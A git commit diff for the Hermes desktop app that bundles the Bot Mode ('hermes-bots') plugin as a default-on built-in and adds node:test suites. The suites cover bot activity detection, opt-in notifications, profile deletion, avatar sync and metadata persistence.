Skip to content

The agent that grows with you

feat(desktop): bundle Bot Mode (hermes-bots) as a built-in, default-on plugin

Teknium366d8814b876
diff --git a/apps/desktop/package.json b/apps/desktop/package.json
index 392cfc97212..3c222af9268 100644
--- a/apps/desktop/package.json
+++ b/apps/desktop/package.json
@@ -67,6 +67,7 @@
"test": "vitest run",
"preview": "node scripts/assert-root-install.mjs && vite preview --host 127.0.0.1 --port 4174",
"check:test:desktop:platforms": "npm run test:desktop:platforms",
+ "check:test:plugins": "node --test src/plugins/*/tests/*.test.mjs",
"check:test:ui:shard-1of3": "node scripts/run-ui-shard.mjs",
"check:test:ui:shard-2of3": "node scripts/run-ui-shard.mjs",
"check:test:ui:shard-3of3": "node scripts/run-ui-shard.mjs",
diff --git a/apps/desktop/src/contrib/plugins.ts b/apps/desktop/src/contrib/plugins.ts
index adeb06c2aae..5c1a8fa847d 100644
--- a/apps/desktop/src/contrib/plugins.ts
+++ b/apps/desktop/src/contrib/plugins.ts
@@ -1,10 +1,13 @@
/**
* Plugin discovery — both delivery modes:
*
- * - BUNDLED: every `src/plugins/<name>/plugin.{ts,tsx}` default-exporting a
- * `HermesPlugin` registers automatically (vite glob — drop a folder in).
- * None ship in-tree today; reference/demo plugins live in the companion
- * `hermes-example-plugins` repo.
+ * - BUNDLED: every `src/plugins/<name>/plugin.{js,ts,tsx}` default-exporting
+ * a `HermesPlugin` registers automatically (vite glob — drop a folder in).
+ * `hermes-bots` (Bot Mode) ships in-tree and is ON by default; other
+ * reference/demo plugins live in the companion `hermes-example-plugins`
+ * repo. `.js` entries are SDK-consumer plugins adopted from standalone
+ * repos — they keep the plain-ESM plugin.js form so the file stays
+ * loadable by older desktops' runtime door too.
* - RUNTIME: the on-disk doors (`<hermes home>/desktop-plugins/<name>/plugin.js`
* and the unified-package half `<hermes home>/plugins/<name>/desktop/plugin.js`)
* — the agent's/user's doors, watched + hot-reloaded by the runtime loader.
@@ -14,7 +17,7 @@ import { createPluginContext, type HermesPlugin } from './plugin'
import { pluginActive, publishPlugin } from './plugins-store'
import { watchRuntimePlugins } from './runtime-loader'
-const modules = import.meta.glob<{ default: HermesPlugin }>('../plugins/*/plugin.{ts,tsx}', { eager: true })
+const modules = import.meta.glob<{ default: HermesPlugin }>('../plugins/*/plugin.{js,ts,tsx}', { eager: true })
// One-shot init guard. Contributions themselves register by id (re-registering
// is idempotent), but the disk-door watcher setup below (watchRuntimePlugins)
diff --git a/apps/desktop/src/contrib/runtime-loader.ts b/apps/desktop/src/contrib/runtime-loader.ts
index c97589d263e..c99f0de6e44 100644
--- a/apps/desktop/src/contrib/runtime-loader.ts
+++ b/apps/desktop/src/contrib/runtime-loader.ts
@@ -32,7 +32,7 @@ import { installPluginSdk, sdkImportMap } from '@/sdk/runtime'
import { notifyError } from '@/store/notifications'
import { createPluginContext, type HermesPlugin } from './plugin'
-import { dropPlugin, pluginActive, type PluginKind, publishPlugin } from './plugins-store'
+import { $pluginRecords, dropPlugin, pluginActive, type PluginKind, publishPlugin } from './plugins-store'
interface LoadOptions {
/** Root-level default-enable CAP: `false` ships the plugin opt-in (inventory
@@ -142,6 +142,17 @@ export async function loadRuntimePlugin(
throw new Error(`${origin} has no valid default HermesPlugin export`)
}
+ // A disk/runtime copy of a plugin that now ships BUNDLED (e.g. a
+ // standalone install of hermes-bots predating its adoption in-tree) must
+ // not register a second time: contributions would double up and the two
+ // copies would fight over storage. The bundled copy wins; the disk copy
+ // is skipped quietly so stale installs keep working after an app update.
+ if ($pluginRecords.get()[plugin.id]?.kind === 'bundled') {
+ console.info(`[plugins] ${origin} skipped — "${plugin.id}" already ships bundled with the app`)
+
+ return null
+ }
+
const record = {
id: plugin.id,
name: plugin.name ?? plugin.id,
diff --git a/apps/desktop/src/plugins/hermes-bots/LICENSE b/apps/desktop/src/plugins/hermes-bots/LICENSE
new file mode 100644
index 00000000000..5700b997827
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Nous Research
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/active-now-strip.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/active-now-strip.test.mjs
new file mode 100644
index 00000000000..984db4ef856
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/active-now-strip.test.mjs
@@ -0,0 +1,96 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+// The activeBots helper must stay a self-contained slice between the
+// liveness-window constant and the BotRow section so tests can extract it.
+function loadActiveBots() {
+ const start = source.indexOf('const ACTIVE_WINDOW_S')
+ const end = source.indexOf('// ── bot row ─')
+
+ assert.ok(start >= 0 && end > start, 'activeBots block must remain extractable')
+
+ const context = {}
+ vm.runInNewContext(
+ `${source.slice(start, end)}\nglobalThis.__activeBots = activeBots;`,
+ context
+ )
+
+ return context.__activeBots
+}
+
+// Fixed clock so "inside the window" vs "stale" is deterministic.
+const NOW = 1_000_000_000_000
+
+const roster = [
+ { name: 'researcher', last_session: { last_active: (NOW / 1000) - 10 } },
+ { name: 'scribe', last_session: { last_active: (NOW / 1000) - 400 } },
+ { name: 'analyst', last_session: null }
+]
+
+test('activeBots includes the gateway-busy selected profile before its first response lands', () => {
+ const activeBots = loadActiveBots()
+ // analyst has no last_session at all — a busy turn must still show it.
+ const names = activeBots(roster, 'analyst', 'busy', NOW).map(bot => bot.name)
+ assert.ok(names.includes('analyst'))
+})
+
+test('activeBots includes bots whose last message is inside the liveness window', () => {
+ const activeBots = loadActiveBots()
+ const names = activeBots(roster, 'default', 'open', NOW).map(bot => bot.name)
+ assert.ok(names.includes('researcher'))
+})
+
+test('activeBots excludes stale activity outside the window', () => {
+ const activeBots = loadActiveBots()
+ const names = activeBots(roster, 'default', 'open', NOW).map(bot => bot.name)
+ assert.ok(!names.includes('scribe'))
+})
+
+test('activeBots preserves roster order and never hides other bots', () => {
+ const activeBots = loadActiveBots()
+ // Mixed window: only researcher qualifies, but the output stays in input
+ // order and the full roster object is untouched.
+ const active = activeBots(roster, 'default', 'open', NOW)
+ assert.deepEqual(active.map(bot => bot.name), ['researcher'])
+ assert.equal(roster.length, 3)
+})
+
+test('activeBots returns an empty list when nothing is active', () => {
+ const activeBots = loadActiveBots()
+ const quiet = [
+ { name: 'scribe', last_session: { last_active: (NOW / 1000) - 400 } },
+ { name: 'analyst', last_session: null }
+ ]
+ assert.deepEqual(activeBots(quiet, 'default', 'open', NOW), [])
+})
+
+test('roster without profiles never throws', () => {
+ const activeBots = loadActiveBots()
+ assert.equal(activeBots(null, 'default', 'open', NOW).length, 0)
+ assert.equal(activeBots([], 'default', 'open', NOW).length, 0)
+})
+
+test('ActiveNowStrip renders above the roster, is a live region, and is click-accessible', () => {
+ // Strip is placed between the pane header and the search field.
+ const headerEnd = source.indexOf("children: 'Bots'")
+ const searchField = source.indexOf("placeholder: 'Search bots…'")
+ assert.ok(headerEnd >= 0 && searchField > headerEnd)
+
+ const stripStart = source.indexOf('jsx(ActiveNowStrip')
+ assert.ok(stripStart > headerEnd && stripStart < searchField, 'strip sits between header and search')
+
+ // Live region announces membership changes politely.
+ assert.match(source, /'aria-live': 'polite'/)
+ // Chips are real buttons (keyboard/click accessible), reuse BotFace, and
+ // open the canonical chat via the same path as roster rows.
+ assert.match(source, /jsx\('button', \{\s*type: 'button',\s*title: `Open \$\{label\}'s chat`/)
+ // The key rides as jsx()'s third argument — the ONLY form React treats as
+ // a list key; a `key:` prop leaves chips unkeyed (index identity).
+ assert.match(source, /\}, bot\.name\)\s*\}\)\s*\]\s*\}\)\s*\}\s*\/\*\* Assign a bot to a group/s)
+ assert.match(source, /jsx\(BotFace,\s*\{[\s\S]*?mood: 'work'/)
+ assert.match(source, /openBotCanonicalChat\(bot\.name, allMeta\[bot\.name\]\?\.chat\)/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/activity-toasts.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/activity-toasts.test.mjs
new file mode 100644
index 00000000000..cd89ff4942d
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/activity-toasts.test.mjs
@@ -0,0 +1,70 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+// Activity toasts are OPT-IN: by default new bot activity only sets the
+// unread badge — host.notify fires only when the 'activity-toasts' pref is
+// enabled. A busy roster (cron runs, bot-to-bot chatter) must not firehose
+// the user with notifications out of the box.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function loadTracker(toastsEnabled) {
+ const start = source.indexOf('const rosterWatermarks = new Map()')
+ const end = source.indexOf('/** Last good cron list', start)
+ const notifications = []
+ const context = {
+ pluginCtx: null,
+ atom: initial => {
+ let value = initial
+ return { get: () => value, set: next => { value = next } }
+ },
+ host: { notify: params => notifications.push(params) },
+ $selectedBot: { get: () => 'default' },
+ $botMeta: { get: () => ({}) },
+ $botUnread: (() => {
+ let value = {}
+ return { get: () => value, set: next => { value = next } }
+ })(),
+ displayName: bot => bot.name
+ }
+ const section = source
+ .slice(start, end)
+ .concat('\nglobalThis.__t = { trackInboundActivity, $activityToasts, setActivityToasts };\n')
+ vm.runInNewContext(section, context, { filename: 't.js' })
+ if (toastsEnabled) {
+ context.__t.$activityToasts.set(true)
+ }
+ return { ...context.__t, notifications, $botUnread: context.$botUnread }
+}
+
+function rosterAt(ts) {
+ return [{ name: 'researcher', last_session: { last_active: ts, preview: 'Message from writer: hi' } }]
+}
+
+test('default: new activity sets unread badge but never toasts', () => {
+ const t = loadTracker(false)
+ t.trackInboundActivity(rosterAt(100)) // seeding poll
+ t.trackInboundActivity(rosterAt(200)) // activity moved past watermark
+ assert.equal(t.$botUnread.get().researcher, true, 'unread badge must still be set')
+ assert.equal(t.notifications.length, 0, 'no toast by default')
+})
+
+test('opt-in: enabling the pref restores per-activity toasts', () => {
+ const t = loadTracker(true)
+ t.trackInboundActivity(rosterAt(100))
+ t.trackInboundActivity(rosterAt(200))
+ assert.equal(t.notifications.length, 1)
+ assert.match(t.notifications[0].title, /New message for researcher/)
+})
+
+test('pref defaults OFF and persists via ctx.storage under activity-toasts', () => {
+ const t = loadTracker(false)
+ assert.equal(t.$activityToasts.get(), false, 'default must be off')
+ assert.match(
+ source.slice(source.indexOf('function setActivityToasts('), source.indexOf('/** Detect new inbound activity')),
+ /storage\?\.set\?\.\('activity-toasts', enabled\)/
+ )
+ assert.match(source, /storage\?\.get\?\.\('activity-toasts'\)/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/bot-delete.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/bot-delete.test.mjs
new file mode 100644
index 00000000000..c6483824c82
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/bot-delete.test.mjs
@@ -0,0 +1,104 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load({ sdkDeleteProfile = false } = {}) {
+ const requests = []
+ const sdkDeletes = []
+ const invalidations = []
+ const stored = []
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ state: {
+ profile: { listen: () => undefined },
+ gateway: { listen: () => undefined }
+ },
+ ...(sdkDeleteProfile
+ ? {
+ deleteProfile: async name => {
+ sdkDeletes.push(name)
+ }
+ }
+ : {}),
+ request: async (method, params) => {
+ requests.push({ method, params })
+ return method === 'cli.exec' ? { blocked: false, code: 0, output: 'deleted' } : { ok: true }
+ }
+ },
+ queryClient: { invalidateQueries: value => invalidations.push(value) }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__delete = { deleteBot, $botMeta, $botUnread, $selectedBot };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ context.plugin.register({
+ storage: {
+ get: () => null,
+ set: (key, value) => stored.push({ key, value })
+ },
+ register: () => undefined
+ })
+ return { context, requests, sdkDeletes, invalidations, stored }
+}
+
+test('unit: deleting a bot prefers the SDK deleteProfile (teardown-routed REST path)', async () => {
+ const { context, requests, sdkDeletes } = load({ sdkDeleteProfile: true })
+
+ await context.__delete.deleteBot({ name: 'researcher' })
+
+ assert.deepEqual(sdkDeletes, ['researcher'])
+ assert.equal(requests.filter(r => r.method === 'cli.exec').length, 0)
+})
+
+test('unit: older desktop without host.deleteProfile falls back to the non-interactive profile CLI command', async () => {
+ const { context, requests } = load()
+
+ await context.__delete.deleteBot({ name: 'researcher' })
+
+ assert.deepEqual(JSON.parse(JSON.stringify(requests[0])), {
+ method: 'cli.exec',
+ params: { argv: ['profile', 'delete', 'researcher', '--yes'] }
+ })
+})
+
+test('integration: a deleted bot is removed from plugin-local state and the roster is refreshed', async () => {
+ const { context, invalidations, stored } = load()
+ context.__delete.$botMeta.set({ researcher: { title: 'Research' }, writer: { title: 'Writer' } })
+ context.__delete.$botUnread.set({ researcher: true, writer: true })
+ context.__delete.$selectedBot.set('researcher')
+
+ await context.__delete.deleteBot({ name: 'researcher' })
+
+ assert.equal(context.__delete.$botMeta.get().researcher, undefined)
+ assert.equal(context.__delete.$botUnread.get().researcher, undefined)
+ assert.equal(context.__delete.$selectedBot.get(), 'default')
+ assert.equal(stored.at(-1).key, 'bot-meta')
+ assert.equal(stored.at(-1).value.researcher, undefined)
+ assert.equal(invalidations.length, 1)
+})
+
+test('regression: the bot context menu exposes a destructive delete action and confirmation', () => {
+ assert.match(pluginSource, /ContextMenuItem, \{[\s\S]*?variant: 'destructive'[\s\S]*?children: 'Delete'/)
+ assert.match(pluginSource, /bot\.is_default \? null : jsx\(ContextMenuSeparator/)
+ assert.match(pluginSource, /ConfirmDialog/)
+ assert.match(pluginSource, /title: 'Delete bot and profile\?'/)
+ assert.match(pluginSource, /This will permanently delete the bot[\s\S]*?and its associated Hermes profile at[\s\S]*?This cannot be undone\./)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-asset-sync.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-asset-sync.test.mjs
new file mode 100644
index 00000000000..be07ef5d435
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-asset-sync.test.mjs
@@ -0,0 +1,91 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+// Edit Profile always sends the avatar image in its saveBotMeta patch
+// (changed or not), and saveBotMeta fired profiles.set_asset for every patch
+// carrying the key. Each save re-uploaded the full data URL or fired a
+// `clear` — and a no-op `clear` from one machine could race another
+// machine's just-pushed avatar and wipe it server-side. set_asset now fires
+// only when the image actually changed; ui_meta sync is untouched.
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load() {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const requests = []
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ request: (method, params) => {
+ requests.push([method, params])
+ return Promise.resolve({})
+ },
+ state: { profile: { get: () => 'default', listen: () => undefined }, gateway: { listen: () => undefined } }
+ }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__meta = { saveBotMeta, $botMeta };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ context.plugin.register({
+ storage: { get: () => null, set: () => undefined },
+ register: () => undefined
+ })
+ return { ...context.__meta, requests }
+}
+
+test('regression: set_asset fires only when the avatar image changes', async () => {
+ const { saveBotMeta, $botMeta, requests } = load()
+ const png = 'data:image/png;base64,AAAA'
+
+ saveBotMeta('ops', { image: png, title: 'One' })
+ saveBotMeta('ops', { image: png, title: 'Two' }) // re-save, same image
+ saveBotMeta('ops', { image: null, title: 'Three' }) // removed
+ saveBotMeta('ops', { title: 'Four' }) // no image key at all
+ await Promise.resolve()
+
+ const assetCalls = JSON.parse(
+ JSON.stringify(requests.filter(([method]) => method === 'profiles.set_asset').map(([, params]) => params))
+ )
+ assert.deepEqual(assetCalls, [
+ { name: 'ops', asset: 'avatar', data: png },
+ { name: 'ops', asset: 'avatar', clear: true }
+ ])
+
+ // Meta still merges per patch, and ui_meta sync is unaffected by the
+ // image-gating.
+ assert.equal($botMeta.get().ops.title, 'Four')
+ assert.equal(requests.filter(([method]) => method === 'profiles.configure').length, 4)
+})
+
+test('regression: duplicating a bot still pushes the copied avatar once', async () => {
+ const { saveBotMeta, requests } = load()
+ const png = 'data:image/png;base64,BBBB'
+
+ saveBotMeta('source', { image: png, title: 'Original' })
+ saveBotMeta('source-2', { image: png, title: 'Original (copy)' })
+ await Promise.resolve()
+
+ const assetCalls = JSON.parse(
+ JSON.stringify(requests.filter(([method]) => method === 'profiles.set_asset').map(([, params]) => params))
+ )
+ assert.deepEqual(assetCalls, [
+ { name: 'source', asset: 'avatar', data: png },
+ { name: 'source-2', asset: 'avatar', data: png } // fresh profile: image differs from its (empty) meta
+ ])
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-hydrate.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-hydrate.test.mjs
new file mode 100644
index 00000000000..a0d89bbdf2b
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-hydrate.test.mjs
@@ -0,0 +1,92 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load(storageGet) {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ request: async () => ({}),
+ state: {
+ profile: { listen: () => undefined },
+ gateway: { listen: () => undefined }
+ }
+ }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__api = { saveBotMeta, $botMeta, plugin };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ context.plugin.register({
+ storage: { get: storageGet, set: () => undefined },
+ register: () => undefined
+ })
+ return context.__api
+}
+
+test('regression: a slow load does not wipe a pin written this session', async () => {
+ let resolveStorage
+ const pending = new Promise(resolve => {
+ resolveStorage = resolve
+ })
+ const runtime = load(() => pending)
+
+ runtime.saveBotMeta('researcher', { chat: 'sess-just-created', title: 'Research' })
+ assert.equal(runtime.$botMeta.get().researcher.chat, 'sess-just-created')
+
+ resolveStorage({ researcher: { title: 'Research' } })
+ await pending
+ await Promise.resolve()
+ await Promise.resolve()
+
+ assert.equal(runtime.$botMeta.get().researcher.chat, 'sess-just-created')
+ assert.equal(runtime.$botMeta.get().researcher.title, 'Research')
+})
+
+test('regression: a slow load still keeps looks from disk under a new pin', async () => {
+ let resolveStorage
+ const pending = new Promise(resolve => {
+ resolveStorage = resolve
+ })
+ const runtime = load(() => pending)
+
+ runtime.saveBotMeta('researcher', { chat: 'sess-just-created' })
+ resolveStorage({ researcher: { title: 'Research', shape: 'cloud', color: '#38bdf8' } })
+ await pending
+ await Promise.resolve()
+ await Promise.resolve()
+
+ assert.equal(runtime.$botMeta.get().researcher.chat, 'sess-just-created')
+ assert.equal(runtime.$botMeta.get().researcher.shape, 'cloud')
+ assert.equal(runtime.$botMeta.get().researcher.title, 'Research')
+})
+
+test('unit: disk still fills in bots we have not touched yet', async () => {
+ const runtime = load(() => ({
+ researcher: { title: 'Research', chat: 'sess-old' },
+ writer: { title: 'Writer' }
+ }))
+
+ await Promise.resolve()
+ await Promise.resolve()
+
+ assert.equal(runtime.$botMeta.get().researcher.chat, 'sess-old')
+ assert.equal(runtime.$botMeta.get().writer.title, 'Writer')
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-persistence.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-persistence.test.mjs
new file mode 100644
index 00000000000..9be4b6e8854
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-persistence.test.mjs
@@ -0,0 +1,99 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load(configureResponse) {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const requests = []
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ request: (method, params) => {
+ requests.push([method, params])
+ if (method === 'profiles.configure') {
+ return typeof configureResponse === 'function' ? configureResponse() : Promise.resolve(configureResponse)
+ }
+ return Promise.resolve({})
+ },
+ state: { profile: { get: () => 'default', listen: () => undefined }, gateway: { listen: () => undefined } }
+ }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__meta = { saveBotMeta, $botMeta };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ context.plugin.register({
+ storage: { get: () => null, set: () => undefined },
+ register: () => undefined
+ })
+ return { ...context.__meta, requests }
+}
+
+test('server persistence failure is returned while the local look remains saved', async () => {
+ const { saveBotMeta, $botMeta } = load({ applied: { ui_meta: false } })
+
+ const result = await saveBotMeta('researcher', {
+ shape: 'cloud',
+ color: '#38bdf8',
+ custom: true
+ })
+
+ assert.equal($botMeta.get().researcher.shape, 'cloud')
+ assert.equal($botMeta.get().researcher.color, '#38bdf8')
+ assert.equal(result.serverPersisted, false)
+ assert.equal(result.serverOutcome, 'failed')
+})
+
+test('server persistence success is returned after ui_meta is applied', async () => {
+ const { saveBotMeta } = load({ applied: { ui_meta: true } })
+
+ const result = await saveBotMeta('researcher', {
+ shape: 'hexagon',
+ color: '#8b5cf6',
+ custom: true
+ })
+
+ assert.equal(result.serverPersisted, true)
+ assert.equal(result.serverOutcome, 'persisted')
+})
+
+test('an older gateway (no applied contract) is unsupported, not failed', async () => {
+ const { saveBotMeta } = load({})
+
+ const result = await saveBotMeta('researcher', { shape: 'circle', custom: true })
+
+ assert.equal(result.serverOutcome, 'unsupported')
+ assert.equal(result.serverPersisted, false)
+})
+
+test('a rejected configure request is unsupported, not failed', async () => {
+ const { saveBotMeta } = load(() => Promise.reject(new Error('param shape rejected')))
+
+ const result = await saveBotMeta('researcher', { shape: 'circle', custom: true })
+
+ assert.equal(result.serverOutcome, 'unsupported')
+})
+
+test('Edit Profile waits for persistence and reports a local-only save', () => {
+ assert.match(pluginSource, /const persistence = await saveBotMeta\(bot\.name,/)
+ assert.match(pluginSource, /Saved look locally; remote persistence failed/)
+ // The toast fires only on an explicit remote failure — never on the
+ // documented older-gateway fallback.
+ assert.match(pluginSource, /serverOutcome === 'failed'/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-sync.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-sync.test.mjs
new file mode 100644
index 00000000000..63b30b3cc02
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/bot-meta-sync.test.mjs
@@ -0,0 +1,81 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load() {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: { state: { profile: { listen: () => undefined } } },
+ sdk: new Proxy({}, { get: () => undefined })
+ }
+ const source = pluginSource
+ .replace(/^import \* as sdk from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat(`
+globalThis.__botMetaSync = {
+ get: () => $botMeta.get(),
+ set: value => $botMeta.set(value),
+ mergeServerMeta,
+ setPluginCtx: value => { pluginCtx = value }
+};
+`)
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return context.__botMetaSync
+}
+
+test('regression: authoritative server metadata removes stale local canonical chat', () => {
+ const writes = []
+ const sync = load()
+ sync.set({
+ default: {
+ chat: '4f6f6798ad6f',
+ shape: 'cloud',
+ image: 'data:image/png;base64,avatar',
+ pet: 'pet-cat'
+ }
+ })
+ sync.setPluginCtx({ storage: { set: (key, value) => writes.push({ key, value }) } })
+
+ sync.mergeServerMeta([
+ {
+ name: 'default',
+ ui_meta: {
+ 'hermes-bots': { shape: 'cloud', color: '#8b5cf6', title: 'Hermana' }
+ }
+ }
+ ])
+
+ const current = sync.get().default
+ assert.equal(Object.hasOwn(current, 'chat'), false)
+ assert.equal(current.image, 'data:image/png;base64,avatar')
+ assert.equal(current.pet, 'pet-cat')
+ assert.equal(writes.at(-1).key, 'bot-meta')
+ assert.equal(Object.hasOwn(writes.at(-1).value.default, 'chat'), false)
+})
+
+test('compatibility: local canonical chat survives when gateway has no server bot metadata', () => {
+ const writes = []
+ const sync = load()
+ sync.set({ default: { chat: 'local-chat', shape: 'cloud' } })
+ sync.setPluginCtx({ storage: { set: (key, value) => writes.push({ key, value }) } })
+
+ sync.mergeServerMeta([{ name: 'default' }])
+
+ assert.equal(sync.get().default.chat, 'local-chat')
+ assert.equal(writes.length, 0)
+})
